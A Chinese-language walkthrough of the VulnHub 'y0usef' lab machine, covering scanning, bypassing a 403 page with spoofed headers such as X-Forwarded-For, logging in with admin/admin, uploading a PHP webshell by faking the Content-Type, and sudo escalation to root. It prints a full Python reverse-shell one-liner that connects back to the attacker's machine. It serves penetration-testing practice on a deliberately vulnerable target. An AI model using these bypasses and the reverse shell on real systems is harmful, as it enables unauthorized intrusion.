靶场搭建
靶场下载地址:https://download.vulnhub.com/y0usef/y0usef.ova
下载下来是虚拟机.ova压缩文件,这个靶机是VirtualBox的,想要用VM打开可以看我这篇文章:如何将VirtualBox虚拟机转换到VMware中_奋斗吧!小胖子的博客-CSDN博客
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
开启虚拟机
靶场搭建完毕
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
128是kali攻击机的ip,所以靶机ip为137
扫描靶机端口服务开放情况
开放了22端口,存在ssh服务
开放了80端口,存在http服务,且中间件为Apache 2.4.10
先访问一下WEB
页面提示网站正在建设中,马上就要运行了
搜索一下敏感目录
找到了/adminstretion目录
找到了/index.php/login目录,和初始页面一样
前面/adminstretion目录403forbidden,禁止访问,看能否绕过
可以通过
1、修改host为旁站绕过
Request
GET /auth/login HTTP/1.1
Host : www.abc.com
Response
HTTP/1.1 403 Forbidden
Request
GET /auth/login HTTP/1.1
Host : $xxx$.abc.com
Response
HTTP/1.1 200 OK
2、url覆盖
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login
Response
HTTP/1.1 200 OK
3、referer绕过
Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden
Reqeust
GET/ HTTP/1.1
ReFerer: https://10.0.2.30/auth/loginResponse
HTTP/1.1 200 oK
4、各种头部注入
X-Originating-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Forwarded-For: 127.0.0.1
这里通过添加X-Forwarded-For: 127.0.0.1 让服务器误以为请求来自于服务器自己,就不做检查,成功绕过
发现要我们输入账号密码
旁边还提示我们从来不会分享你的用户名给其他人
测试一下是否弱口令
发现存在弱口令admin/admin
发现一个文件上传点
试着上传webshell
发现不允许上传,上传有检查
试着上传一个txt文件,发现也不行
再尝试上传一个jpeg文件也不行
尝试上传一个png文件,发现上传成功,服务器只允许上传png文件,我们看能否进行绕过
上传php文件修改content-type为image/png
发现成功上传,看来服务器只对content-type进行了检测
访问webshell,成功访问
利用webshell反弹shell
看一下是否有nc
看一下是否有python
使用python反弹shell
在kali本地监听4444端口
执行以下命令
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
成功获得shell
在upload目录下发现index.php,查看发现不光可以上传png文件,jpg和gif也可以
在/home目录下发现第一个flag user.txt
这段flag看起来像一段base64编码,解码发现果然是base64编码,内容为yousef的账号和密码
通过ssh登录,登录成功
进行提权
sudo提权
sudo -l 查看是否有可提权的命令
发现可以运行所有命令
直接通过sudo -s成功提权到root用户
获得最后一个flag